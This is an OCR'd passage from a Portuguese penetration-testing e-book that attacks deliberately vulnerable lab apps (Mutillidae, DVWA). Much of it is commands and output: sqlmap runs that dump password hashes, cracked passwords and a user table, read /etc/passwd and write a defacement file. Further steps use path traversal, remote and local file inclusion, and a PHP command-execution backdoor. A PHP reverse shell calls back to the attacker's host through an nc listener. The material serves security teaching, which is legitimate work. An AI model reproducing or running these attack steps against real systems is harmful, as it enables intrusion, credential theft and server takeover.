hreads 3 --technique TU --null-connection --keep-alive --delay 1
--retries 10 --ignore-timeouts --answer "seems to be a continuous

problem with=y" -v @ --current-user --is-dba --users --password
s --privileges

Depois de executar esse comando, consegue ver o valor que
esses resultados teriam para um atacante? Como pode perceber, o
sqlmap também possui a funcionalidade de desvendar senhas
fracas, pois ele usa um diciondrio que vem por padrio com a
ferramenta. A seguir esta uma parte da resposta, que deve ser igual
a obtida por vocé.

database management system users password hashes:
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[*]

[*1

[*1

[*]

[*]
[*]

bricks [1]:

password hash: *255195939290DC6D228944BCC682D2427DA57E21
clear-text password: bricks

bwapp [1]:

password hash: *63C3CE60C4AC4F87F321E54F290A4867684A96C4
clear-text password: bwapp

citizens [1]:

password hash: *EOE85D302E82538A1FDA46B453F687F3964A99B4
cryptomg [1]:

password hash: *2132873552FEDF6780E8060F927DD5101759C4DE
clear-text password: cryptomg

debian-sys-maint [1]:

password hash: *75F15FF5C9FQ6A7221FEBQ17724554294E40A327
dvwa [1]:

password hash: *D67B38CDCD1A55623ED5F55856A29B9654FF823D
clear-text password: dvwa

Temos a listagem de usudrios, diversos hashes de senhas

compativeis com os mesmos usudrios do banco. Onde aparece o

campo clear-text password, significa que o sqlmap foi capaz de

decifrar a senha com seu diciondrio. No entanto, essa nao é a tinica

informagdo de grande valor. Veja também uma resposta da opgao

--privileges na figura.

'mutillidae’'®'%"' (administrater) [27]:
privilege: ALTER

privilege: ALTER ROUTINE
privilege: CREATE

privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER

privilege: CREATE VIEW

privilege: DELETE

privilege: DROP

privilege: EVENT

privilege: EXECUTE

privilege: FILE

privilege: INDEX

privilege: INSERT

Figura 4.7: Permissao file.
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Visualize as permissdes existentes no usudrio a que temos
acesso via SQL Injection. Ele possui diversas permissdes. A FILE
diz que por meio desse usudrio do banco é possivel escrever e ler
arquivos. Sera que podemos explorar isso de alguma forma?

Leitura e escrita de arquivos no alvo com sqlmap

Os SGBDs podem oferecer os mais variados recursos. Dentre
eles, podemos citar a capacidade de ler e escrever arquivos. Caso
essa capacidade esteja habilitada para o usudrio de uma aplicacao
que foi alvo de um ataque de SQL Injection, pode-se fazer o upload
de um arquivo dentro da estrutura da aplicagdo web que oferece,
por exemplo, a funcionalidade de um web shell. Como vimos, o
usudrio mutillidae possui essa permissdo, vamos ver como

podemos explorar isso utilizando o sqlmap.

No sistema operacional Linux, existe o arquivo /etc/passwd
e este arquivo contém os usudrios existentes no sistema
operacional. Utilizando o sqlmap, vamos ler esse arquivo e ganhar
conhecimento sobre os usuarios com o parametro --file-
read=/etc/passwd .
sgqlmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --o0s linux --t
hreads 3 --technique TU --null-connection --keep-alive --delay 1
--retries 10 --ignore-timeouts --answer "seems to be a continuous
problem with=y" -v 0 --file-read=/etc/passwd

Apds o término da execugio do comando, o sqlmap nos
apresentou a seguinte mensagem:

files saved to [1]:

[*] /root/.sglmap/output/10.0.0.1/files/_etc_passwd (same fil
e)
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Vamos dar um cat nesse caminho e verificar se o arquivo
realmente estd presente.

:~# cat /root/.sqlmap/output/10.0.0.1/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12 :man: /var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
wuw -data:x:33:33:www-data:/var/wm:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody : /nonexistent: /bin/sh
libuuid:x:100:101:: /var/1ib/libuuid:/bin/sh

Figura 4.8: /etc/passwd

Realmente o sqlmap cumpriu sua promessa, trouxe-nos um
arquivo que estava no servidor e, do mesmo modo, podemos
recuperar diversos outros arquivos do sistema operacional. Essa
leitura de arquivos nao é o unico poder do sqlmap, pois também
podemos escrever algo la.

Primeiro passo, vamos criar um arquivo no nosso Kali para
envia-lo ao servidor. Execute o comando echo "<h1>HACKED BY
CASA DO CODIGO</h1>" >> /root/hacked.html . Ap0s a criagao,
vamos envia-lo ao servidor alvo.
sqlmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t

hreads 3 --file-write=/root/hacked.html --file-dest=/var/www/muti
1llidae/hacked.html
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Bom, o aviso de sqlmap nos mostrou que ndo foi possivel
escrever. Isso aconteceu porque nao existe a permissdo para o
usuario do mysql realizar escritas de arquivos no diretorio.

[WARNING] it looks like the file has not been written (usuall

y occurs if the DBMS process user has no write privileges in the
destination path)

Isso quer dizer que nossa maquina nao é tao vulneravel assim.
Teremos que achar uma forma de contornar esse problema. Para
isso, vamos usar um diretério que, geralmente, tem permissdes de
escrita para todos os usudrios no Linux. Esse diretorio se chama

/tmp/ .

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t

hreads 3 --file-write=/root/hacked.html --file-dest=/tmp/hacked.h
tml

Com esse diretorio de destino, parece que o sqlmap escreveu o
arquivo, pois nao houve a reclamacao anterior. S6 que agora temos
um desafio!l Como vamos acessar o arquivo fora do escopo da
aplicacao web?

Normalmente, nao teriamos como acessar. Mas na aplicagdo,
existe uma vulnerabilidade que se chama path traversal. Ela
permite acessar arquivos fora do escopo da aplica¢do. Entdo,
combinando essa vulnerabilidade, com o nosso upload de arquivo
via SQL Injection, podemos exibir nossa mensagem na tela.

Ao acessar a pagina de login no mutillidae nos deparamos
com o seguinte link:

http://10.0.0.1/mutillidae/index.php?page=login.php
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No link, notamos claramente que o parametro page aponta
para um arquivo que ¢ incorporado no index.php . Com isso, a
pergunta que fica é a seguinte: serd que se eu alterar o login.php
pelo caminho relativo de outro arquivo, ele acessa? Para responder
a essa pergunta, vamos apontar para o arquivo que acabamos de
fazer o upload. Acesse o seguinte link e veja vocé mesmo a
resposta:

http://10.0.0.1/mutillidae/index.php?
page=../../../tmp/hacked.html

[l 0.0.0.1/mutillidae/index.php?page =../..[../tmp/hacked.htm|

g Kali Tools + Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GH

OWASP Mutillidae I1: Web Pwn in M

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (2 - N

Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Rese

E HACKED BY CASA DO CODIGO

Figura 4.9: Combinado com path traversal.

Apods esse acesso, comprovamos o perigo relativo as duas
vulnerabilidades e fizemos um bom trabalho, mesclando duas
vulnerabilidades para obter um resultado.

Riscos e niveis de instru¢io com sqlmap

A opgao --risk segrega os payloads do sqlmap de acordo
com os danos que podem causar no alvo. Esses possiveis danos
podem incluir negagdo de servigo, lentiddo, ou até mesmo
alteragdo dos dados. Por padrao, é configurado o valor 1, sendo
que o valor maximo é o 3. Ja a opgdo --level define o numero
de verificagdes a serem executadas. Esse valor tem por padrio
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também o valor 1 e pode ir até 5. Quanto maior o --level ,
maior o volume de dados.

Essas opgdes, geralmente, sdo alteradas apenas quando o
sqlmap nao consegue identificar ou explorar uma aplicagdo. Vocé
pode aumentar esses pardmetros pouco a pouco para que nao
estrague os dados ou o servico antes de alcangar o seu objetivo.
Abaixo segue o comando com as opg¢des de risco e nivel no
maximo.
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t

hreads 3 --file-write=/root/hacked.html --file-dest=/tmp/hacked.h
tml --risk 3 --level 5

4.6 CABECALHOS E AUTENTICACAO

Por vezes, a exploragdo depende da existéncia de alguns
cabecalhos HTTP nas requisi¢coes. Isso é muito normal e comum.
Por exemplo, na aplicagdo DVWA, conforme ja exibido nas se¢des
iniciais do capitulo, necessita-se de um cabec¢alho para explorar.
No caso do DVWA, é necessario o cookie de autenticagdo no
sistema. Vamos tentar explorar o exemplo dado, mas agora com o
sqlmap:
sqlmap -u 'http://10.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit#'

Note a mensagem got a 302 redirect to
'http://10.0.0.1:80/dvwa/login.php'. Isso significa que fomos
redirecionados para a pagina de login e que o sqlmap precisa
possuir um cookie de autenticagao, para acessar a pagina. E agora,
como podemos contornar essa situagdo? Calma! O sqlmap conta
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com a op¢do --cookie , vamos usa-la.

O primeiro passo é vocé realizar a autenticagdo no sistema e,
depois de logado, pegar o valor do cabegalho cookie e colocar no
parametro do sqlmap. Para isso, acesse
http://10.0.0.1:80/dvwa/login.php e depois faca o login com
admin/admin.

Para capturar o seu cookie, tecle F12, va até a aba console e
digite o codigo JavaScript document.cookie .

w 1 Inspectar Console [ Debugger {} Style Editor
W
55 XHR Requests

» document.cookie

Ll e Ccurity=1ow; ID=aej45ipB2biBkh3judeB2ehin3}

Figura 4.10: Pegando cookie.

Apds isso, copie o conteudo exibido entre aspas e cole-o como
valor da opgdo --cookie do sqlmap, para resolver o problema
com o cabegalho de autenticacio.
sgqlmap -u 'http://10.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit

=Submit#' --cookie 'security=low; PHPSESSID=aej45ip02bi8kh9jud682
eh8n3'

Além disso, outros cabegalhos podem ser adicionados ao
sqlmap, caso necessario. Vocé pode adicionar o cabecalho --
referer= http://site.com.br/ para sinalizar que veio de uma
URL especifica. Vocé também pode simular o uso de um
navegador especifico com a opgdo --user-agent="opera” , ou
até mesmo fazer com que o sqlmap escolha um navegador desses
aleatoriamente com --random-agent .
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sglmap -u 'http://10.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit#' --cookie 'security=low; PHPSESSID=aej45ip02bi8kh9jud682
eh8n3' --random-agent --referer= http://site.com.br/

Também existe uma forma que pode ser utilizada para replicar
todos os cabegalhos de uma requisi¢do. Para isso, vocé pode
capturar a requisicao em formato cURL no navegador e aplicar no
comando sqlmap a op¢do -H do comando curl, que adiciona um
cabecalho, funciona da mesma forma no sqlmap.

Acesse o link http://10.0.0.1/dvwa/vulnerabilities/sqli/ e tecle
F12 novamente, s6 que agora va até a aba network. Depois disso,
faga o envio normal do formuldrio da aplica¢ao. Note que a URL
foi listada. Clique com o botdo esquerdo em cima da requisigdo e
copie como cURL em Copy as cURL.

Instructions |

Setup |

Brute Force

w v
Status Met.. Demain

GET £110.0.0.1 [dwwafvulnerabilities/sqli/fid=1& Subm... ducumen L LIUAD

Figura 4.11: Copiando como cURL.

Cole a requisi¢do no terminal, substitua o comando curl por
sqlmap -u e pronto. Vocé pode também executar no terminal a
exploragao.

sgqlmap -u 'http://10.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit#' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0
) Gecko/20100101 Firefox/68.0' -H 'Accept: text/html,application/
xhtml+xml, application/xml;q=0.9,*/*;q=0.8"' -H 'Accept-Language: e
n-US,en;q=0.5" --compressed -H 'Referer: http://10.0.0.1/dvwa/vul
nerabilities/sqli/' -H 'Connection: keep-alive' -H 'Cookie: secur
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ity=low; PHPSESSID=aej45ip02bi8kh9jud682eh8n3' -H 'Upgrade-Insecu
re-Requests: 1'

Envio de dados via POST/Formularios

Até aqui, vimos apenas a explora¢do de parametros contidos na
URL. No entanto, isso nao ¢ uma limitagdo do sqlmap, pois
também podemos explorar dados contidos em formularios, que
normalmente sao enviados via método HTTP POST. Para essa
questao, basta adicionar a opgdo --data com os dados enviados
via método POST, da requisi¢do a ser explorada.

Acesse http://10.0.0.1/mutillidae/index.php?page=view-
someones-blog.php e envie o formuldrio. Note que nesse envio nao
houve modificacdo na URL. Entdo, antes de enviar o formulario,
tecle F12 novamente e va até a aba network. Depois do envio, vocé
percebe que hd uma requisi¢ao enviada como POST. Agora, além
de copiar como cURL, copie os parametros do tipo POST e cole-os
naopg¢ao --data.
sglmap -u 'http://10.0.0.1/mutillidae/index.php?page=view-someone
s-blog.php' --data 'author=53241E83-76EC-4920-AD6D-503DD2A6BA68AY
iew-someones-blog-php-submit-button=vView+Blog+Entries'

Muito mais simples do que parece, ndo é mesmo? Além disso,
vocé pode utilizar o que acabamos de aprender na secgdo
Cabegalhos e autenticagdo. Vocé pode copiar como cURL e
executar com o sqlmap. No caso do POST, atente-se para o nome
da opcdo, que no sqlmap é --data endo --data-raw.

O sqlmap, além disso, oferece uma funcionalidade de
identificagdo automatica de formuldrios. Isso pode facilitar o seu
trabalho, apenas coloque a opgdo --forms e responda aos
questionamentos feitos pelo sqlmap.
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sglmap -u 'http://10.0.0.1/mutillidae/index.php?page=view-someone
s-blog.php' --forms

Nesse caso, nossa exploragdo foi bem simplificada.

Enumerar o banco de dados e obter os dados

Por dltimo mas ndao menos importante, a enumeragdo do
banco com a captura dos dados armazenados também ¢é parte
fundamental no ataque de SQL Injection. Essa utilizagdo é a mais
famosa e, por isso, a deixei por ultimo. Existem muitas outras
coisas que sao possiveis com a exploracao do SQL Injection e essa é
mais uma delas e ndo necessariamente serd a de mais impacto.
Tudo isso, vimos por meio da apresentacdo das outras
funcionalidades do sqlmap.

Vamos comegar em cima do nosso exemplo antigo e com a
opgdo --dbs , que lista os bancos existentes.

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=vView
+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 3 --dbs

available databases [34]:
[*] .swvn

[*] bricks

[*] bwapp

[*] citizens

[*] cryptomg

[*] dvwa

[*] gallery2

[*] getboo

[*] ghost

[*] gtd-php

[*] hex

[*] information_schema
[*] isp

[*] joomla

[#*] mutillidae

[*] mysql

Figura 4.12: Lista de bancos.
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Como pode ser percebido na figura, podemos ter acesso a 34
bases de dados diferentes por meio do sistema explorado. Vamos
explorar a base do proprio sistema, mas agora listando as tabelas
nela existentes. Para isso, usamos a opgdo -D para designar o
nome do banco e a op¢ao --tables para listar as tabelas.

sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 3 -D mutillidae --tables

Database: mutillidae
[11 tables]

accounts
balloon_tips
blogs_table
captured_data
credit_cards

help_texts

hitlog
level_1_help_include_files
page_help

page_hints

pen_test_tools

Figura 4.13: Lista de tabelas do sistema mutillidae.

Muito interessante, agora temos acesso as tabelas dentro da
base de dados. Vamos listar as colunas de uma das tabelas. Uma
tabela muito interessante para isso é a tabela onde temos usudrios e
senhas. Vamos usar a op¢dao -T  para apontar a tabela

**accounts** e a op¢do --columns para listar as colunas
existentes nela.
sqlmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View

+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 3 -D mutillidae -T accounts --columns

80 4.6 CABECALHOS E AUTENTICACAO
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



Database: mutillidae
Table: accounts
[5 columns]

password

cid

is_admin varchar(5)
mysignature | text
username

Fmmmmm Hmmmmmmm -

Figura 4.14: Lista de colunas.

Parece que existem trés colunas bem importantes para capturar
os dados. Todos sabemos que username e password sao os dados de
que precisamos para acessar o sistema, mas ali também existe um
dado adicional nos informando se a conta ¢ administradora.
Vamos com a op¢do -C para apontar as colunas em que
queremos os dados e logo apds adicionar o --dump , que informa
ao sqlmap que queremos baixar os dados.
sglmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View
+Account+Details" --batch -p username --dbms mysql --os linux --t

hreads 3 -D mutillidae -T accounts -C "username, password,is_admin
--dump
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Database: mutillidae

Table: accounts

[19 entries]

B e m—— e R -
| username | passwo | is_admin |
Fmmm e T +

adrian somepassword | TRUE

Jjohn monkey FALSE
jeremy password FALSE
bryce password FALSE
samurai samurai FALSE
jim password FALSE

bobby password FALSE
simba password FALSE
dreveil password FALSE
scotty password FALSE
cal password FALSE
john password FALSE
kevin 42 FALSE
dave set FALSE
patches tortoise FALSE
stripes FALSE
user FALSE
pentest
o o o -

Figura 4.15: Dados.

Agora sim, conseguimos os dados do sistema. Ao aproveitar as
vulnerabilidades, vocé pode treinar para extrair os dados da
aplicac¢do de todos os bancos.

Também existe uma op¢do, ndo muito usual, que é a --dump-
all, onde se faz um download completo de tudo o que se aponta.
Claro, caso vocé queira baixar toda a estrutura do SGBD de uma
vez, podera usar:
sqlmap -u "http://10.0.0.1/mutillidae/index.php?page=user-info.ph
p&username=admin&password=123456&user-info-php-submit-button=View

+Account+Details" --batch -p username --dbms mysql --os linux --t
hreads 3 --dump-all
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Consideragoes finais do capitulo

Este capitulo teve como objetivo exibir com detalhes o poder
que um atacante podera ter caso encontre uma vulnerabilidade de
SQL Injection em um sistema. A ferramenta sqlmap é muito mais
poderosa do que vimos aqui, infelizmente, o escopo do livro ficaria
muito grande ao explicar e exibir todas as suas funcionalidades
com detalhes. No entanto, o importante foi passar o conhecimento
de que a partir de uma falha dessas é possivel ir muito além da
extra¢do de dados, podendo, até mesmo, ir para o controle total do
servidor atacado.
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CapiTuLO 5

INCLUSAO DE ARQUIVOS:
RFIE LFI

E muito comum que as aplicacgdes web precisem incluir
arquivos internos e externos dentro de alguma de suas paginas.
Para fazer isso, as aplicagdes web geralmente utilizam algumas
fungdes prontas que as permitem incorporar um cédigo dentro de
outro. Um exemplo seria a fungdo include do PHP.

A inclusao de arquivos de cddigo dentro de outros serve
principalmente para o aproveitamento de fungdes e
procedimentos. Essa incorporacio permite diminuir a
redundéncia de cédigo e facilitar a manutengido, o que é exigido
pela Programagdo Orientada a Objetos. Além disso, é muito
comum que as aplicagdes precisem de informagdes que s podem
ser obtidas via upload dos usuarios. Esses uploads atendem aos
mais diversos tipos de demandas, como foto de perfil,

armazenamento etc.

Esses sdo os aspectos que serdo explorados neste capitulo,
sendo que o RFI (Remote File Injection) se refere a inclusdo de
codigo externo, e o LFI (Local File Injection) utiliza um cédigo que
estard no proprio servidor. Essas vulnerabilidades sdo baseadas na

possibilidade de a aplicagdo oferecer incorporagao de codigos.
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Caso os filtros de arquivos a serem incorporados nao estejam
bem definidos, podemos induzir a aplicacdo a executar uma agdo
arbitraria. Até o final, seremos capazes de explorar essa
vulnerabilidade e comprovar sua existéncia para auxiliar a equipe
de desenvolvimento.

5.1 ENTENDENDO O PATH TRAVERSAL

O path traversal, ou directory traversal, como também ¢
conhecido, ¢ uma vulnerabilidade cuja exploragdo permite que
arquivos internos, que nao estao inclusos no escopo da aplicacao
web, sejam acessados. Com isso, é possivel que pessoas nao
autorizadas obtenham informagdes sensiveis como cddigo-fonte,
arquivos de senhas, configura¢des do sistema operacional etc.

Essa vulnerabilidade é um forte indicativo da possibilidade de
inclusdo de arquivos ou de acesso a arquivos com cddigos
maliciosos ja inclusos no servidor. Por meio dela, podemos acessar

arquivos inclusos ou acessa-los em outro servidor por meio de
links.

No capitulo anterior, de SQL Injection, utilizamos essa
vulnerabilidade para acessar o arquivo incluso. Para os ataques de
RFI e LFI, vamos partir da mesma premissa, pois ndo teremos
efetividade se incluirmos o arquivo sem executa-lo. Apesar de a
inclusdo de arquivos ndo permitidos ja ser considerada uma falha
que deve ser relatada, apenas com a execugdo do arquivo vamos
atingir o objetivo de controlar o terminal do servidor.

Entdo, sabemos que a aplicagio Mutillidae contém essa
vulnerabilidade. Vamos acessa-la em
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http://10.0.0.1/mutillidae/index.php?page=arbitrary-file-
inclusion.php. Atente-se bem para a URL, note que o pardmetro

page ¢é bem suspeito e pode conter uma vulnerabilidade para
inclusao de arquivo. Isso significa que devemos testa-lo para ver se
conseguimos acessar outro arquivo do sistema.

Vamos tentar acessar o arquivo /etc/passwd utilizando o
pardmetro page . Para isso, basta apenas adicionarmos ../
quantas vezes forem necessarias antes do nome etc/passwd . Isso
porque, nesse caso, o arquivo é incorporado a pagina index.php
pelo caminho relativo. Veja bem o que acontece quando acessamos

http://10.0.0.1/mutillidae/index.php?
page=../../etc/passwd .

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var
/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39%:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::fhome/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:105:MySQL
Server,,,:/var/lib/mysql:/bin/false landscape:x:104:122::/var/lib/landscape:/bin/false sshd:x:105:65534::/var
[run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL administrator,,,:/var/lib/postgresgl:/bin/bash
messagebus:x:107:114::/var/run/dbus:/bin/false tomcat6:x:108:115::/usr/share/tomcat6:/binffalse
user:x:1000:1000:user,,,:,/home/user:/bin/bash polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:110:119:Hardware abstraction layer,,,:/var/run/hald:/bin/false pulse:x:111:120:PulseAudio
daemon,,,;/var/run/pulse:/bin/false postfix:x:112:123::/var/spool/postfix:/bin/false

Figura 5.1: Arquivo /etc/passwd acessado.

Agora, tente verificar outros arquivos no servidor. Vocé tera
acesso a diversos arquivos e configuragdes por meio dessa
vulnerabilidade. No entanto, nem todos poderdo ser acessados,
pois vocé estd com o usudrio apache .

O Linux também faz controle de usudrio, entdo o seu acesso
estard limitado aos arquivos que esse usudrio tem permissdo de
leitura dentro do sistema operacional. Os aspectos relativos ao
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sistema operacional estdo fora do escopo deste livro.

5.2 ENTENDENDO RFI

O RFI faz referéncia a uma vulnerabilidade existente em
aplicagdes web que permite a execugdo de um codigo remoto, ou
seja, que ndo faz parte do ambiente da aplicagdo. Ele geralmente
ocorre quando a aplicagdo, por meio de algum parametro,
incorpora a um arquivo um cédigo que esta presente dentro de um
outro servidor.

Na linguagem PHP, fun¢des como include podem fazer esse
papel. Para ver na pratica, repare no link de exemplo,
http://exemplo.com?page=principal.php, e note, no codigo a
seguir, que ele corresponde ao link no servidor:
<?php
/7.
$page = $_GET['page'];
include($page);

/7.
?>

A variavel $_GET vai retornar o valor do parametro page e
incorpora-lo a pagina atual, mas existe uma peculiaridade. Vamos
fazer um experimento: suponha que vocé atribuiu uma URL para o
pardmetro page e crie um arquivo de teste chamado teste.php
no seu diretério /root/ com o comando echo "<hi1>TESTE -
CASA DO CODIGO</h1>" > teste.php . ApoOs isso, precisamos ter
um servidor web para que possamos hospedar nosso arquivo e ter
um link de acesso a ele. Para isso, vamos usar um baita atalho que
conseguimos usando o Python. Utilize o seguinte comando para
criar um servidor web com Python no seu Kali dentro de /root/ :
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python -m SimpleHTTPServer 80

Esse comando cria um servidor web com Python a partir do
modulo  SimpleHTTPServer na porta 80. Confirme isso no
préprio Kali, acesse o seu servidor e veja como é interessante essa
solugdo com a URL: http://10.0.0.2/. Com isso, nosso sistema de
arquivo foi disponibilizado para web.

Agora sim, conseguimos um link para acessar o nosso arquivo

teste.php . Lembra da nossa aplicagdo Mutillidae? Ela tem URLs

muito similares, vamos tentar colocar esse nosso link ld no
parametro page .

http://10.0.0.1/mutillidae/index.php?
page=http://10.0.0.2/teste.php

Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploif]

'WASP Mutillidae 1I: Web Pwn

2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1

n/Register Toggle Hints Show Popup Hints Toggle Security Enforce

TESTE - CASA DO CODIGO

Figura 5.2: Resultado RFI

5.3 ENTENDENDO LFI

A vulnerabilidade de LFI é bem mais tranquila de entender.
Para que esse ataque ocorra, vocé precisa ser capaz de incluir um
arquivo que possa ser executado no servidor. Vamos ver isso muito
bem na pratica. Acesse http://10.0.0.1/dvwa/vulnerabilities/upload/

88 5.3 ENTENDENDO LFI

E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com


http://10.0.0.2/
http://10.0.0.1/mutillidae/index.php?page=http://10.0.0.2/teste.php
http://10.0.0.1/dvwa/vulnerabilities/upload/

e tente fazer o upload de uma foto.

Choose an image to upload:
Browse... casadocodigo.png

Upload

../ ../hackable/uploads/casadocodigo.png succesfully uploaded!

Figura 5.3: Upload de foto

Veja que interessante, fizemos um upload e a aplicagdo ainda
nos mostrou o caminho de onde a foto foi armazenada dentro do
servidor. Acesse-a diretamente com 0 link:
http://10.0.0.1/dvwa/vulnerabilities/upload/../../hackable/uploads/c
asadocodigo.png. Como o caminho exibido ¢ relativo, o navegador
automaticamente repara na URL e vocé podera ver apenas a foto.

Agora, a pergunta que fica é a seguinte: sera que se eu colocar
um arquivo .php ele aceita o upload? Bom, vamos tentar fazer o
upload do nosso teste.php e ver o que acontece.

Choose an image to upload:
Browse... teste.php

Upload
../ ../hackable/uploads/teste.php succesfully uploaded!

Figura 5.4: Upload de codigo

A principio foi uma resposta bem favoravel para nés. Agora
vamos tentar acessd-lo diretamente, como fizemos com a foto.
Acesse 0 endereco pelo link:
http://10.0.0.1/dvwa/vulnerabilities/upload/../../hackable/uploads/t
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este.php e veja o resultado com os seus proprios olhos.

& ¢ @ @ 10.0.0.1/dw

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums NetHun

TESTE - CASA DO CODIGO

Figura 5.5: Resultado LFI.

Para chegar a real diferenga entre RFI e LFI, poderiamos fazer

uma analise a partir de varios aspectos tedricos, no entanto é
possivel resumir essa diferenca a questdo dos discos rigidos.

Para diferenciar um do outro, basta pensar no seguinte: no
momento em que o meu codigo foi executado, ele estava
armazenado em qual disco rigido? Se a resposta a essa pergunta for
o disco rigido do servidor que esta sendo alvo, vocé fez um LFIL.
Caso a resposta tenha sido o disco rigido de outro host, vocé fez
um RFIL. Essa ¢ a diferenca entre os dois.

54 O PODER DOS WEBSHELLS PARA
EXPLORACAO DO LFP

Os webshells sao scripts desenvolvidos em alguma linguagem
de programagdo para web e podem ser utilizados para realizar o
controle total do servidor. Com eles, podemos executar codigos
diretamente no sistema operacional do alvo. Para nos ajudar,
também existem diversas ferramentas que podem produzir esses
webshells de uma forma mais alinhada a realidade do ataque
também de forma ofuscada.

No entanto, nem sempre vamos precisar usar uma ferramenta
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para criar o webshell. Vamos ver um exemplo. No Kali, execute o
comando 1s -1 /usr/share/webshells/ e veja o diretério com
alguns webshells feitos em diversas linguagens com os varios tipos
de aplica¢do. Um muito famoso e bem simples de ser entendido é o
Simple PHP backdoor. Visualize-o com o comando  cat
/usr/share/webshells/php/simple-backdoor.php .

<?php
if(isset($_REQUEST['cmd'])){

echo "<pre>";
$cmd = ($_REQUEST['cmd']);

system($cmd);
echo "</pre>";
die;

3

?>

Esse webshell basicamente pega o conteudo do pardmetro
cmd e executa no terminal, ndo esquega que o valor a ser passado
para o parametro cmd deve ser um comando do sistema
operacional. Esse é um tipo classico de Bind shell e, sendo assim,
apos a inclusao do arquivo de webshell, ele deve ser acessado pelo
atacante por meio de URL. Tente utiliza-los nos exemplos que
foram apresentados neste capitulo e veja o poder que vocé teria em
maos em um servidor real.

Também existem os webshells reversos, cujas conexdes sao
feitas no sentido oposto do Bind Shell. Com os webshells reversos,
o servidor se conecta ao atacante. Para utilizar um webshell
reverso, vocé deve fazer algumas configuragdes, por exemplo, abra
0 arquivo /usr/share/webshells/php/php-reverse-
shell.php e faga as seguintes alteragdes:

<?php
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/...
$ip = '10.0.0.2'; // CHANGE THIS
$port = 1234; // CHANGE THIS
/7. ..
?>

A variavel $ip indica o IP do nosso Kali, onde o servidor vai
se conectar, e 0 $port ¢ a porta na qual estaremos esperando essa
conexdo em nosso Kali. Para receber essa conexdo, precisamos
estabelecer um servigo no Kali que seja capaz de receber e interagir
com essa requisi¢do. Para isso, vamos utilizar o comando nc ,

conforme a seguir:
nc -lp 1234

Esse comando informa que estaremos escutando uma conexao
( -1 ) na porta 1234 ( -p ). Apos isso, vamos fazer o upload do
nosso arquivo php-reverse-shell.php no formuldrio presente
em http://10.0.0.1/dvwa/vulnerabilities/upload/. Depois, acesse
http://10.0.0.1/dvwa/vulnerabilities/upload/../../hackable/uploads/
php-reverse-shell.php e confira o terminal onde vocé deixou o
comando nc rodando.

= # nc -lp 1234
Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 201@ i686 GNU/Linux
